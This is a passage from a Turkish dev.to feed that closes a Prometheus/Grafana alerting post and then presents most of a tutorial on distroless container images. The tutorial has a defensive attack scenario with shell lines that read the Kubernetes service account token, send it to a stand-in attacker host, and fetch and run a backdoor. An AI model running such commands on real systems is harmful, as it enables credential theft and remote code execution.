          &lt;span class="na"&gt;summary&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Yuksek&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;latency:&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;{{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;$labels.endpoint&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}"&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;alert&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ExporterDown&lt;/span&gt;
        &lt;span class="na"&gt;expr&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;up{job="custom-exporter"} == &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
        &lt;span class="na"&gt;for&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;30s&lt;/span&gt;
        &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;severity&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;critical&lt;/span&gt;
        &lt;span class="na"&gt;annotations&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;summary&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Custom&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;exporter&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;down"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;for: 1m&lt;/code&gt; kritik — koşul anlık doğru olduğunda alert hemen &lt;code&gt;firing&lt;/code&gt; olmaz. Önce &lt;code&gt;pending&lt;/code&gt;, 1 dakika boyunca koşul doğru kalırsa &lt;code&gt;firing&lt;/code&gt;. Anlık spike'larda yanlış alert üretmemek için.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Koşul doğru → pending → (1 dakika geçerse) → firing
Koşul yanlış → resolved
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Prometheus UI → &lt;strong&gt;Alerts&lt;/strong&gt; sekmesinde üç durumu canlı izleyebilirsin.&lt;/p&gt;




&lt;h2&gt;
  
  
  Grafana Dashboard
&lt;/h2&gt;

&lt;p&gt;Prometheus'u datasource olarak ekledikten sonra PromQL sorguları ile panel oluşturuyorsun.&lt;/p&gt;

&lt;p&gt;Kurduğum dashboard'daki paneller:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request Rate&lt;/strong&gt; — &lt;code&gt;sum by (endpoint) (rate(app_requests_total[1m]))&lt;/code&gt; — Time series&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Error Rate&lt;/strong&gt; — hata oranı yüzdesi — Stat panel, threshold: 5% sarı, 10% kırmızı&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;p95 Latency&lt;/strong&gt; — &lt;code&gt;histogram_quantile(0.95, ...)&lt;/code&gt; — Time series, unit: seconds&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Active Users&lt;/strong&gt; — &lt;code&gt;app_active_users&lt;/code&gt; — Gauge, threshold: 120 kırmızı&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request Dağılımı&lt;/strong&gt; — status code bazında — Pie chart&lt;/p&gt;

&lt;p&gt;Dashboard'u JSON olarak export edip repository'ye ekleyebilirsin — takım arkadaşları import eder, sıfırdan kurmak zorunda kalmaz.&lt;/p&gt;




&lt;h2&gt;
  
  
  Öğrendiklerim
&lt;/h2&gt;

&lt;p&gt;Bu lab'dan önce Prometheus'u "bir şeyleri izleyen araç" olarak görüyordum. Şimdi şunu söyleyebiliyorum:&lt;/p&gt;

&lt;p&gt;TSDB seçimi rastgele değil. Monitoring verisinin yazma pattern'i — düzenli aralıklarla aynı metric'lerin yazılması — TSDB için biçilmiş kaftan. Range query'ler hızlı, sıkıştırma verimli, retention yönetimi kolay.&lt;/p&gt;

&lt;p&gt;PromQL'de &lt;code&gt;rate&lt;/code&gt; ve &lt;code&gt;histogram_quantile&lt;/code&gt; olmadan anlamlı sorgu yazmak neredeyse imkânsız. Counter'ların sürekli artan yapısını anlamadan "neden bu grafik düz bir çizgi?" sorusuna cevap veremezsin.&lt;/p&gt;

&lt;p&gt;Custom exporter yazmak en değerli adımdı — metric türlerini anlamak için en iyi yol kendi metric'lerini oluşturmak.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Bu yazı, bir mülakattan aldığım geri bildirimi uygulamalı olarak çalışma serim.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Serinin diğer yazıları:&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/terraform-terragrunt-ansible-a-hands-on-learning-journey-jed"&gt;Terraform + Terragrunt + Ansible: A Hands-On Learning Journey&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/kubernetes-probelarini-bozarak-ogrenmek-liveness-readiness-ve-startup-3meh"&gt;Kubernetes Probe'larını Kasıtlı Bozarak Öğrendim&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/container-icine-giremiyorum-ve-bu-iyi-bir-sey-distroless-imagelar-hik"&gt;Container İçine Giremiyorum — Ve Bu İyi Bir Şey: Distroless Image'lar&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/prometheus-ve-grafanayi-derinlemesine-anlamak-tsdb-promql-ve-custom-exporter-1enp"&gt;Prometheus ve Grafana'yı Derinlemesine Anlamak&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>prometheus</category>
      <category>grafana</category>
      <category>devops</category>
      <category>monitoring</category>
    </item>
    <item>
      <title>Container İçine Giremiyorum — Ve Bu İyi Bir Şey: Distroless Image'lar</title>
      <dc:creator>Taha Yağız Güler</dc:creator>
      <pubDate>Tue, 26 May 2026 11:53:17 +0000</pubDate>
      <link>https://dev.to/tahayagizguler/container-icine-giremiyorum-ve-bu-iyi-bir-sey-distroless-imagelar-hik</link>
      <guid>https://dev.to/tahayagizguler/container-icine-giremiyorum-ve-bu-iyi-bir-sey-distroless-imagelar-hik</guid>
      <description>&lt;h2&gt;
  
  
  Distroless Nedir?
&lt;/h2&gt;

&lt;p&gt;Normal bir container image düşün. İçinde uygulamanın kendisi var, ama aynı zamanda:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Shell (&lt;code&gt;/bin/sh&lt;/code&gt;, &lt;code&gt;/bin/bash&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Paket manager (&lt;code&gt;apt&lt;/code&gt;, &lt;code&gt;apk&lt;/code&gt;, &lt;code&gt;yum&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Sistem araçları (&lt;code&gt;curl&lt;/code&gt;, &lt;code&gt;wget&lt;/code&gt;, &lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;cat&lt;/code&gt;, &lt;code&gt;ps&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;C kütüphaneleri&lt;/li&gt;
&lt;li&gt;Kullanıcı yönetim araçları&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bunların büyük çoğunluğu uygulamanın &lt;strong&gt;çalışması&lt;/strong&gt; için gerekli değil. Geliştirici kolaylığı için var. Ama bir saldırgan container'a girerse bunları kullanabilir.&lt;/p&gt;

&lt;p&gt;Distroless image'lar bu araçların hiçbirini içermez. Google tarafından geliştirilen &lt;code&gt;gcr.io/distroless&lt;/code&gt; projesi, her dil için minimal runtime image'lar sunuyor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcr.io/distroless/static     → Go, Rust (hiçbir runtime yok)
gcr.io/distroless/base       → glibc gerektiren uygulamalar
gcr.io/distroless/java17     → Java 17 runtime
gcr.io/distroless/nodejs20   → Node.js 20 runtime
gcr.io/distroless/python3    → Python 3 runtime
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Lab Ortamı
&lt;/h2&gt;

&lt;p&gt;Docker Desktop, WSL Ubuntu. Kubernetes cluster gerekmedi — image karşılaştırması için sadece Docker yeterli. Güvenlik testleri için Docker Desktop'ın built-in Kubernetes cluster'ını kullandım.&lt;/p&gt;




&lt;h2&gt;
  
  
  Aynı Uygulamayı İki Farklı Image ile Build Et
&lt;/h2&gt;

&lt;p&gt;Basit bir Go HTTP server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s"&gt;"fmt"&lt;/span&gt;
    &lt;span class="s"&gt;"net/http"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HandleFunc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ResponseWriter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fprintln&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Hello from container!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HandleFunc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/health"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ResponseWriter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fprintln&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"OK"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ListenAndServe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;":8080"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Alpine Dockerfile:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;golang:1.21-alpine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;builder&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; . .&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;go build &lt;span class="nt"&gt;-o&lt;/span&gt; server .

&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; alpine:3.19&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; --from=builder /app/server .&lt;/span&gt;
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="s"&gt; 8080&lt;/span&gt;
&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt;&lt;span class="s"&gt; ["./server"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Distroless Dockerfile:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;golang:1.21-alpine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;builder&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; . .&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nv"&gt;CGO_ENABLED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0 go build &lt;span class="nt"&gt;-o&lt;/span&gt; server .

&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; gcr.io/distroless/static&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; --from=builder /app/server /server&lt;/span&gt;
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="s"&gt; 8080&lt;/span&gt;
&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt;&lt;span class="s"&gt; ["/server"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;CGO_ENABLED=0&lt;/code&gt; kritik — distroless/static içinde C kütüphanesi yok, binary tamamen static olmalı.&lt;/p&gt;

&lt;p&gt;Build sonucu:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csvs"&gt;&lt;code&gt;&lt;span class="k"&gt;REPOSITORY&lt;/span&gt;       &lt;span class="k"&gt;SIZE&lt;/span&gt;
&lt;span class="k"&gt;go&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="k"&gt;alpine&lt;/span&gt;        &lt;span class="mf"&gt;22.1&lt;/span&gt;&lt;span class="k"&gt;MB&lt;/span&gt;
&lt;span class="k"&gt;go&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="k"&gt;distroless&lt;/span&gt;    &lt;span class="mf"&gt;17&lt;/span&gt;&lt;span class="k"&gt;MB&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Boyut farkı bu örnekte küçük — asıl fark Python veya Node.js gibi ağır runtime'larda çok daha belirgin oluyor. Ama asıl fark zaten boyut değil.&lt;/p&gt;




&lt;h2&gt;
  
  
  Image İçeriği — Gerçek Fark Burada
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Alpine içinde ne var?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; go-alpine sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;which sh       &lt;span class="c"&gt;# /bin/sh&lt;/span&gt;
which wget     &lt;span class="c"&gt;# /usr/bin/wget&lt;/span&gt;
which &lt;span class="nb"&gt;ls&lt;/span&gt;       &lt;span class="c"&gt;# /bin/ls&lt;/span&gt;
which ps       &lt;span class="c"&gt;# /bin/ps&lt;/span&gt;
apk &lt;span class="nt"&gt;--version&lt;/span&gt;  &lt;span class="c"&gt;# apk-tools 2.14.x&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell var, araçlar var, paket manager var.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Distroless içinde ne var?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; go-distroless sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;docker: Error response from daemon:
&lt;/span&gt;&lt;span class="gp"&gt;exec: "sh": executable file not found in $&lt;/span&gt;PATH
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell yok — container başlamıyor bile. Başka şeyler dene:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; go-distroless &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="c"&gt;# exec: "ls": no such file or directory&lt;/span&gt;

docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; go-distroless wget
&lt;span class="c"&gt;# exec: "wget": no such file or directory&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;İçinde sadece &lt;code&gt;/server&lt;/code&gt; binary'si var. Başka hiçbir şey yok.&lt;/p&gt;




&lt;h2&gt;
  
  
  Güvenlik Testi — Saldırı Senaryosu
&lt;/h2&gt;

&lt;p&gt;Gerçekçi bir senaryo: uygulamanda RCE (Remote Code Execution) açığı var. Saldırgan container'a girdi. Ne yapabilir?&lt;/p&gt;

&lt;p&gt;Kubernetes'te iki pod deploy ettim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Pod&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;alpine-pod&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;containers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;app&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;go-alpine&lt;/span&gt;
&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Pod&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;distroless-pod&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;containers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;app&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;go-distroless&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Alpine'da saldırgan neler yapabilir:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; alpine-pod &lt;span class="nt"&gt;--&lt;/span&gt; sh

&lt;span class="c"&gt;# Sistemi keşfet&lt;/span&gt;
ps aux
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/hosts
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/resolv.conf

&lt;span class="c"&gt;# Secret ve token ara&lt;/span&gt;
&lt;span class="nb"&gt;env&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; secret
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/run/secrets/kubernetes.io/serviceaccount/token

&lt;span class="c"&gt;# Dosya sistemini tara&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.env"&lt;/span&gt; 2&amp;gt;/dev/null
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.key"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Dışarıya veri sızdır&lt;/span&gt;
&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /var/run/secrets/kubernetes.io/serviceaccount/token&lt;span class="si"&gt;)&lt;/span&gt;
wget &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-O-&lt;/span&gt; &lt;span class="s2"&gt;"http://saldirgan.com/collect?token=&lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Backdoor indir&lt;/span&gt;
wget http://saldirgan.com/backdoor &lt;span class="nt"&gt;-O&lt;/span&gt; /tmp/bd
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/bd &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; /tmp/bd &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Her şey çalışıyor. Container ele geçirildi, lateral movement başladı.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Distroless'ta aynı senaryoyu dene:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; distroless-pod &lt;span class="nt"&gt;--&lt;/span&gt; sh
&lt;span class="c"&gt;# exec: "sh": executable file not found&lt;/span&gt;

kubectl &lt;span class="nb"&gt;exec &lt;/span&gt;distroless-pod &lt;span class="nt"&gt;--&lt;/span&gt; ps
&lt;span class="c"&gt;# exec: "ps": executable file not found&lt;/span&gt;

kubectl &lt;span class="nb"&gt;exec &lt;/span&gt;distroless-pod &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nb"&gt;env&lt;/span&gt;
&lt;span class="c"&gt;# exec: "env": executable file not found&lt;/span&gt;

kubectl &lt;span class="nb"&gt;exec &lt;/span&gt;distroless-pod &lt;span class="nt"&gt;--&lt;/span&gt; wget
&lt;span class="c"&gt;# exec: "wget": executable file not found&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Saldırgan RCE açığını başarıyla exploit etti. Ama container içinde elleri boş:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Shell alamıyor&lt;/li&gt;
&lt;li&gt;Sistemi keşfedemiyor&lt;/li&gt;
&lt;li&gt;Token okuyamıyor&lt;/li&gt;
&lt;li&gt;Dışarıya veri gönderemiyor&lt;/li&gt;
&lt;li&gt;Yeni araç indiremiyor&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;kubectl exec çalışmaması bir kısıtlama değil, özellik.&lt;/strong&gt; Sen giremiyorsan saldırgan da giremiyor.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Not:&lt;/strong&gt; Distroless saldırıyı imkânsız kılmıyor. RCE açığını kapatmak hâlâ birincil öncelik. Distroless ikinci savunma katmanı — "açık olsa bile zarar sınırlı olsun."&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  "Peki Debug Nasıl Yapacağım?"
&lt;/h2&gt;

&lt;p&gt;Shell olmadan production'da sorun çıktığında ne yaparsın? Cevap: &lt;code&gt;kubectl debug&lt;/code&gt; ve ephemeral container.&lt;/p&gt;

&lt;p&gt;Ephemeral container, çalışan bir pod'a geçici olarak eklenen debug container. Pod'un namespace'ini paylaşıyor ama pod'un image'ını değiştirmiyor.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl debug &lt;span class="nt"&gt;-it&lt;/span&gt; distroless-pod &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--image&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;busybox &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;app
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;İçerdesin:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Distroless pod'un process'lerini gör&lt;/span&gt;
ps aux
&lt;span class="c"&gt;# PID 1: /server   ← distroless'taki uygulama&lt;/span&gt;
&lt;span class="c"&gt;# PID 12: sh       ← senin debug shell'in&lt;/span&gt;

&lt;span class="c"&gt;# Environment variable'ları oku&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/1/environ | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'\0'&lt;/span&gt; &lt;span class="s1"&gt;'\n'&lt;/span&gt;

